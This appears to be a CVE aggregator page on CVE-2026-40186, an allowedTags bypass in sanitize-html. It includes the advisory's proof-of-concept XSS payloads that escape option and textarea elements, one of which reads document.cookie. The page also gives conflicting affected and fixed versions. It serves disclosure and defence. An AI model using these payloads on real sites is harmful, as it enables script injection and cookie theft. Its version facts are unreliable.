Every CVE Search/ Get API key

CVE-2026-40186

ApostropheCMS: sanitize-html allowedTags Bypass via Entity-Decoded Text in nonTextTags Elements

6.1 MediumFix available

ApostropheCMS is an open-source Node.js content management system. A regression introduced in commit 49d0bb7, included in versions 2.17.1 of the ApostropheCMS-maintained sanitize-html package bypasses allowedTags enforcement for text inside nonTextTagsArray elements (textarea and option). ApostropheCMS version 4.28.0 is affected through its dependency on the vulnerable sanitize-html version. The code at packages/sanitize-html/index.js:569-573 incorrectly assumes that htmlparser2 does not decode entities inside these elements and skips escaping, but htmlparser2 10.x does decode entities before passing text to the ontext callback. As a result, entity-encoded HTML is decoded by the parser and then written directly to the output as literal HTML characters, completely bypassing the allowedTags filter. An attacker can inject arbitrary tags including XSS payloads through any allowed option or textarea element using entity encoding. This affects non-default configurations where option or textarea are included in allowedTags, which is common in form builders and CMS platforms. This issue has been fixed in version 2.17.2 of sanitize-html and 4.29.0 of ApostropheCMS.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
Required

What an attacker can affect

Confidentiality
Low
Integrity
Low
Availability
None

Exploit likelihood

0.25%Up 0.2 points since Apr 16, 2026
90%50%10%1%

What each source reports

CVE List Score used 6.1

ApostropheCMS: sanitize-html allowedTags Bypass via Entity-Decoded Text in nonTextTags Elements

ApostropheCMS is an open-source Node.js content management system. A regression introduced in commit 49d0bb7, included in versions 2.17.1 of the ApostropheCMS-maintained sanitize-html package bypasses allowedTags enforcement for text inside nonTextTagsArray elements (textarea and option). ApostropheCMS version 4.28.0 is affected through its dependency on the vulnerable sanitize-html version. The code at packages/sanitize-html/index.js:569-573 incorrectly assumes that htmlparser2 does not decode entities inside these elements and skips escaping, but htmlparser2 10.x does decode entities before passing text to the ontext callback. As a result, entity-encoded HTML is decoded by the parser and then written directly to the output as literal HTML characters, completely bypassing the allowedTags filter. An attacker can inject arbitrary tags including XSS payloads through any allowed option or textarea element using entity encoding. This affects non-default configurations where option or textarea are included in allowedTags, which is common in form builders and CMS platforms. This issue has been fixed in version 2.17.2 of sanitize-html and 4.29.0 of ApostropheCMS.

Record
CVE-2026-40186
CVSS 3.1
6.1 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02
EUVDEUVD-2026-23110 6.1

ApostropheCMS is an open-source Node.js content management system. A regression introduced in commit 49d0bb7, included in versions 2.17.1 of the ApostropheCMS-maintained sanitize-html package bypasses allowedTags enforcement for text inside nonTextTagsArray elements (textarea and option). ApostropheCMS version 4.28.0 is affected through its dependency on the vulnerable sanitize-html version. The code at packages/sanitize-html/index.js:569-573 incorrectly assumes that htmlparser2 does not decode entities inside these elements and skips escaping, but htmlparser2 10.x does decode entities before passing text to the ontext callback. As a result, entity-encoded HTML is decoded by the parser and then written directly to the output as literal HTML characters, completely bypassing the allowedTags filter. An attacker can inject arbitrary tags including XSS payloads through any allowed option or textarea element using entity encoding. This affects non-default configurations where option or textarea are included in allowedTags, which is common in form builders and CMS platforms. This issue has been fixed in version 2.17.2 of sanitize-html and 4.29.0 of ApostropheCMS.

Record
EUVD-2026-23110
CVSS 3.1
6.1 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-9mrh-v2v3-xpfm 6.1

sanitize-html allowedTags Bypass via Entity-Decoded Text in nonTextTags Elements

Summary

Commit 49d0bb7 introduced a regression in sanitize-html that bypasses allowedTags enforcement for text inside nonTextTagsArray elements (textarea and option). Entity-encoded HTML inside these elements passes through the sanitizer as decoded, unescaped HTML, allowing injection of arbitrary tags including XSS payloads. This affects any application using sanitize-html that includes option or textarea in its allowedTags configuration.

Details

The vulnerable code is at packages/sanitize-html/index.js:569-573:

} else if ((options.disallowedTagsMode === 'discard' || options.disallowedTagsMode === 'completelyDiscard') && (nonTextTagsArray.indexOf(tag) !== -1)) {
  // htmlparser2 does not decode entities inside raw text elements like
  // textarea and option. The text is already properly encoded, so pass
  // it through without additional escaping to avoid double-encoding.
  result += text;
}

The comment is factually incorrect. htmlparser2 10.x does decode HTML entities inside both <textarea> and <option> elements before passing text to the ontext callback. This can be verified:

const htmlparser2 = require('htmlparser2');
const parser = new htmlparser2.Parser({
  ontext(text) { console.log(JSON.stringify(text)); }
});
parser.write('<option>&lt;script&gt;</option>');
// Outputs: "<", "script", ">"  — entities are decoded

Because the code assumes the text is "already properly encoded" and skips escapeHtml(), the decoded entities (<, >) are written directly to the output as literal HTML characters. This completely bypasses the allowedTags filter — any tag can be injected inside an allowed option or textarea element using entity encoding.

The execution flow:

  1. Attacker submits: <option>&lt;img src=x onerror=alert(1)&gt;</option>
  2. htmlparser2 parses and decodes entities → ontext receives <img src=x onerror=alert(1)>
  3. Code at line 569 checks: tag is option, which is in nonTextTagsArray → true
  4. Line 573: result += text — writes decoded text directly without escaping
  5. Output: <option><img src=x onerror=alert(1)></option> — <img> tag injected despite not being in allowedTags

The script and style tags are handled separately at lines 563-568 (before the vulnerable block), so the effective vulnerability applies to textarea and option, plus any custom elements added to nonTextTags by the user.

Prior to commit 49d0bb7, text in these elements fell through to the escapeHtml branch (line 574-580), which correctly re-encoded the decoded entities.

PoC

Prerequisites: Application using sanitize-html 2.17.2 with option or textarea in allowedTags.

Step 1: Basic tag injection via option

const sanitize = require('sanitize-html');
const output = sanitize(
  '<option>&lt;script&gt;alert(1)&lt;/script&gt;</option>',
  { allowedTags: ['option'] }
);
console.log(output);
// Expected (safe): <option>&lt;script&gt;alert(1)&lt;/script&gt;</option>
// Actual (vulnerable): <option><script>alert(1)</script></option>

Step 2: Element breakout with XSS event handler

const output2 = sanitize(
  '<option>&lt;/option&gt;&lt;img src=x onerror=alert(document.cookie)&gt;</option>',
  { allowedTags: ['option'] }
);
console.log(output2);
// Output: <option></option><img src=x onerror=alert(document.cookie)></option>
// The <img> tag escapes the option context and executes the onerror handler

Step 3: Textarea breakout (also vulnerable)

const output3 = sanitize(
  '<textarea>&lt;/textarea&gt;&lt;img src=x onerror=alert(1)&gt;</textarea>',
  { allowedTags: ['textarea'] }
);
console.log(output3);
// Output: <textarea></textarea><img src=x onerror=alert(1)></textarea>

Step 4: Full select/option context breakout

const output4 = sanitize(
  '<select><option>&lt;/option&gt;&lt;/select&gt;&lt;img src=x onerror=alert(1)&gt;</option></select>',…
Record
GHSA-9mrh-v2v3-xpfm
CVSS 3.1
6.1 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02
NVD 6.1

ApostropheCMS is an open-source Node.js content management system. A regression introduced in commit 49d0bb7, included in versions 2.17.1 of the ApostropheCMS-maintained sanitize-html package bypasses allowedTags enforcement for text inside nonTextTagsArray elements (textarea and option). ApostropheCMS version 4.28.0 is affected through its dependency on the vulnerable sanitize-html version. The code at packages/sanitize-html/index.js:569-573 incorrectly assumes that htmlparser2 does not decode entities inside these elements and skips escaping, but htmlparser2 10.x does decode entities before passing text to the ontext callback. As a result, entity-encoded HTML is decoded by the parser and then written directly to the output as literal HTML characters, completely bypassing the allowedTags filter. An attacker can inject arbitrary tags including XSS payloads through any allowed option or textarea element using entity encoding. This affects non-default configurations where option or textarea are included in allowedTags, which is common in form builders and CMS platforms. This issue has been fixed in version 2.17.2 of sanitize-html and 4.29.0 of ApostropheCMS.

Record
CVE-2026-40186
CVSS 3.1
6.1 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02
OSV 6.1

ApostropheCMS: sanitize-html allowedTags Bypass via Entity-Decoded Text in nonTextTags Elements

ApostropheCMS is an open-source Node.js content management system. A regression introduced in commit 49d0bb7, included in versions 2.17.1 of the ApostropheCMS-maintained sanitize-html package bypasses allowedTags enforcement for text inside nonTextTagsArray elements (textarea and option). ApostropheCMS version 4.28.0 is affected through its dependency on the vulnerable sanitize-html version. The code at packages/sanitize-html/index.js:569-573 incorrectly assumes that htmlparser2 does not decode entities inside these elements and skips escaping, but htmlparser2 10.x does decode entities before passing text to the ontext callback. As a result, entity-encoded HTML is decoded by the parser and then written directly to the output as literal HTML characters, completely bypassing the allowedTags filter. An attacker can inject arbitrary tags including XSS payloads through any allowed option or textarea element using entity encoding. This affects non-default configurations where option or textarea are included in allowedTags, which is common in form builders and CMS platforms. This issue has been fixed in version 2.17.2 of sanitize-html and 4.29.0 of ApostropheCMS.

Record
CVE-2026-40186
CVSS 3.1
6.1 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02
OSVGHSA-9mrh-v2v3-xpfm 6.1

sanitize-html allowedTags Bypass via Entity-Decoded Text in nonTextTags Elements

Summary

Commit 49d0bb7 introduced a regression in sanitize-html that bypasses allowedTags enforcement for text inside nonTextTagsArray elements (textarea and option). Entity-encoded HTML inside these elements passes through the sanitizer as decoded, unescaped HTML, allowing injection of arbitrary tags including XSS payloads. This affects any application using sanitize-html that includes option or textarea in its allowedTags configuration.

Details

The vulnerable code is at packages/sanitize-html/index.js:569-573:

} else if ((options.disallowedTagsMode === 'discard' || options.disallowedTagsMode === 'completelyDiscard') && (nonTextTagsArray.indexOf(tag) !== -1)) {
  // htmlparser2 does not decode entities inside raw text elements like
  // textarea and option. The text is already properly encoded, so pass
  // it through without additional escaping to avoid double-encoding.
  result += text;
}

The comment is factually incorrect. htmlparser2 10.x does decode HTML entities inside both <textarea> and <option> elements before passing text to the ontext callback. This can be verified:

const htmlparser2 = require('htmlparser2');
const parser = new htmlparser2.Parser({
  ontext(text) { console.log(JSON.stringify(text)); }
});
parser.write('<option>&lt;script&gt;</option>');
// Outputs: "<", "script", ">"  — entities are decoded

Because the code assumes the text is "already properly encoded" and skips escapeHtml(), the decoded entities (<, >) are written directly to the output as literal HTML characters. This completely bypasses the allowedTags filter — any tag can be injected inside an allowed option or textarea element using entity encoding.

The execution flow:

  1. Attacker submits: <option>&lt;img src=x onerror=alert(1)&gt;</option>
  2. htmlparser2 parses and decodes entities → ontext receives <img src=x onerror=alert(1)>
  3. Code at line 569 checks: tag is option, which is in nonTextTagsArray → true
  4. Line 573: result += text — writes decoded text directly without escaping
  5. Output: <option><img src=x onerror=alert(1)></option> — <img> tag injected despite not being in allowedTags

The script and style tags are handled separately at lines 563-568 (before the vulnerable block), so the effective vulnerability applies to textarea and option, plus any custom elements added to nonTextTags by the user.

Prior to commit 49d0bb7, text in these elements fell through to the escapeHtml branch (line 574-580), which correctly re-encoded the decoded entities.

PoC

Prerequisites: Application using sanitize-html 2.17.2 with option or textarea in allowedTags.

Step 1: Basic tag injection via option

const sanitize = require('sanitize-html');
const output = sanitize(
  '<option>&lt;script&gt;alert(1)&lt;/script&gt;</option>',
  { allowedTags: ['option'] }
);
console.log(output);
// Expected (safe): <option>&lt;script&gt;alert(1)&lt;/script&gt;</option>
// Actual (vulnerable): <option><script>alert(1)</script></option>

Step 2: Element breakout with XSS event handler

const output2 = sanitize(
  '<option>&lt;/option&gt;&lt;img src=x onerror=alert(document.cookie)&gt;</option>',
  { allowedTags: ['option'] }
);
console.log(output2);
// Output: <option></option><img src=x onerror=alert(document.cookie)></option>
// The <img> tag escapes the option context and executes the onerror handler

Step 3: Textarea breakout (also vulnerable)

const output3 = sanitize(
  '<textarea>&lt;/textarea&gt;&lt;img src=x onerror=alert(1)&gt;</textarea>',
  { allowedTags: ['textarea'] }
);
console.log(output3);
// Output: <textarea></textarea><img src=x onerror=alert(1)></textarea>

Step 4: Full select/option context breakout

const output4 = sanitize(
  '<select><option>&lt;/option&gt;&lt;/select&gt;&lt;img src=x onerror=alert(1)&gt;</option></select>',…
Record
GHSA-9mrh-v2v3-xpfm
CVSS 3.1
6.1 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
sanitize-html
npm
2.17.2 up to 2.17.3
2.17.3

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-40186 is a medium vulnerability (CVSS 6.1) in Apostrophecms Apostrophe, published April 15, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.25%, the 16th percentile. Fixed in sanitize-html 2.17.3.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open